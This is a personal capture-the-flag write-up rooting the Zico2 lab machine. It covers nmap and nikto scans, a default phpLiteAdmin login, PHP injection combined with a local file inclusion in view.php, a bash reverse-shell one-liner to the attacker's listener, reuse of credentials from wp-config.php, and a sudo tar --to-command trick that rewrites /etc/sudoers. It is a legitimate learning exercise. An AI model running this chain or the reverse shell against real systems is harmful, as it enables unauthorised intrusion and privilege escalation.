

## Level: Intermediate

### Goal: Get root and read the flag file

Great, I'm finally getting to these intermediate boxes. I'll be forcing myself to not look at any type of hint about this specific box, I feel like my patience has been declining and I end up looking for hints/tips/writeups more often than I'd like. Maybe once per box, but that's already a lot. I will absolutely forbid myself from getting help during this machine.

```
(kali㉿kali)-[~]
$ nmap -A 192.168.1.141
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-01 16:36 WEST
Nmap scan report for 192.168.1.141
Host is up (0.00088s latency).
Not shown: 1997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
80/tcp    open  http     Apache httpd 2.2.22 ((Ubuntu))
|_ http-server-header: Apache/2.2.22 (Ubuntu)
|_ http-title: Zico's Shop
111/tcp   open  rpcbind  2-4 (RPC #100000)
|_ rpcinfo:
|   program version    port/proto  service
|   100000   2,3,4      111/tcp     rpcbind
|   100000   2,3,4      111/udp     rpcbind
|   100000   3,4        111/tcp6    rpcbind
|   100000   3,4        111/udp6    rpcbind
|   100024   1          35252/udp6  status
|   100024   1          37989/tcp   status
|   100024   1          40250/udp   status
|_  100024   1          54633/tcp6  status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.66 seconds
```

Let's take a look at the webpage.

Nothing seems to stand out honestly. I've never used nikto or any web scanner so far but I guess it's time I get used to those tools. I didn't want to get stuck on full automation right away, I wanted to learn and try to enumerate stuff by myself but I guess it's time to take the next step.

From nitko

```
+ /package.json: Node.js package file found. It may contain sensitive information.
```

Browsing to /package.json, we get some cool information about the theme and its dependencies

name:	"creative"
title:	"Creative"
version:	"3.3.7+1"
▼ homepage:	"http://startbootstrap.com/template-overviews/creative"
author:	"Start Bootstrap"
▼ license:	
type:	"MIT"
▼ url:	"https://github.com/BlackrockDigital/startbootstrap/blob/gh-pages/LICENSE"
▼ devDependencies:	
bootstrap:	"^3.3.7"
browser-sync:	"^2.13.0"
font-awesome:	"^4.6.3"
gulp:	"^3.9.1"
gulp-clean-css:	"^2.0.10"
gulp-header:	"^1.8.7"
gulp-less:	"^3.1.0"
gulp-rename:	"^1.2.2"
gulp-uglify:	"^1.5.4"
jquery:	"^1.11.3"
magnific-popup:	"^1.1.0"
scrollreveal:	"^3.1.4"
▼ repository:	
type:	"git"
▼ url:	"https://github.com/BlackrockDigital/startbootstrap-creative.git"

<https://startbootstrap.com/theme/creative>

<https://github.com/StartBootstrap/startbootstrap-creative>

Still nothing. Let me run dirbuster again with a bigger wordlist and for more time.

Found a **/dbadmin/** directory, perfect! It contains a file **test\_db.php**

**phpLiteAdmin v1.9.3**

Password:

☒ Remember me

Powered by [phpLiteAdmin](#) | Page generated in 0.0016 seconds.

Googling phpLiteAdmin 1.9.3 leads me to this page

<https://www.exploit-db.com/exploits/24044>

By the way, the password is **admin** lol, apparently it's the default PW.

Inside there's a table with these two users

```
('root','653F4B285089453FE00E2AAFAC573414','1');  
('zico','96781A607F4E9F5F423AC01F0DAB0EBD','2');
```

Zico's password is easily crackable with crackstation **zico2215@**

And so is root's... **34kroot34**

HOWEVER, it doesn't work. Just throwing us off. After all, the file is called **test\_users**.

Let's use the exploit then

It's completed. There's a database entry with php code to be executed

**Database name:** /usr/databases/hack.php  
**Path to database:** /usr/databases/hack.php

However, I must find a Local File Inclusion vulnerability which I think I did find... In the tools page or something, hang on a second...

Yep, <http://192.168.1.141/view.php?page=tools.html>

Got it!



The screenshot shows a web browser window with the address bar displaying `192.168.1.141/view.php?page=../../../../usr/databases/hack.php`. Below the address bar, the text `ckhackCREATE TABLE 'hack' ('fieldhack' TEXT default '` is visible. A large blue banner for **PHP Version 5.3.10-1ubuntu3.26** is displayed, featuring the PHP logo. Below the banner is a table with system information:

System	Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64
Build Date	Feb 13 2017 20:21:07

So now I just have to edit the table and instead of making it show phpInfo, make it connect to my netcat

```
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.142/1337 0>&1'");?>
```

Will this work?

Yes

```
(kali㉿kali)-[~/Desktop]
$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.1.142] from (UNKNOWN) [192.168.1.141] 55587
bash: no job control in this shell
www-data@zico:/var/www$ whoami
www-data
www-data@zico:/var/www$ |
```

/home/zico/wordpress/wp-config.php

```
// ** MySQL settings - You can get this info from yo
/** The name of the database for WordPress */
define('DB_NAME', 'zico');

/** MySQL database username */
define('DB_USER', 'zico');

/** MySQL database password */
define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');

/** MySQL hostname */
define('DB_HOST', 'zico');
```

But I cannot login with mysql (?)

Oh wait, ssh works! **zico:sWfCsfJSPV9H3AmQzw8**

So, privilege escalation with zip or/and tar

```
zico@zico:~$ sudo -l
Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin, secure_path=/usr/local/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip
zico@zico:~$ |
```

Using tar --help, I think this will be useful

```
error
  -0, --to-stdout      extract files to standard output
  --to-command=COMMAND pipe extracted files to another program
```

So i'll create a txt file with **echo "ALL ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers**

Compress it, and then uncompress with tar and -O so it runs the code

Well it doesn't work, so i used

**sudo tar -xf hack.tar --to-command=/bin/bash**

It runs the above code (the echo) as argument of **/bin/bash**

```
zico@zico:~$ sudo tar -xf hack.tar --to-command=/bin/bash
zico@zico:~$ sudo su
root@zico:/home/zico# whoami
root
root@zico:/home/zico# |
```

One of my favorite boxes so far, this was loads of fun!

```
root@zico:~# cat flag.txt
#
#
#
# R0000T!
# You did it! Congratz!
#
# Hope you enjoyed!
#
#
#
#
root@zico:~# |
```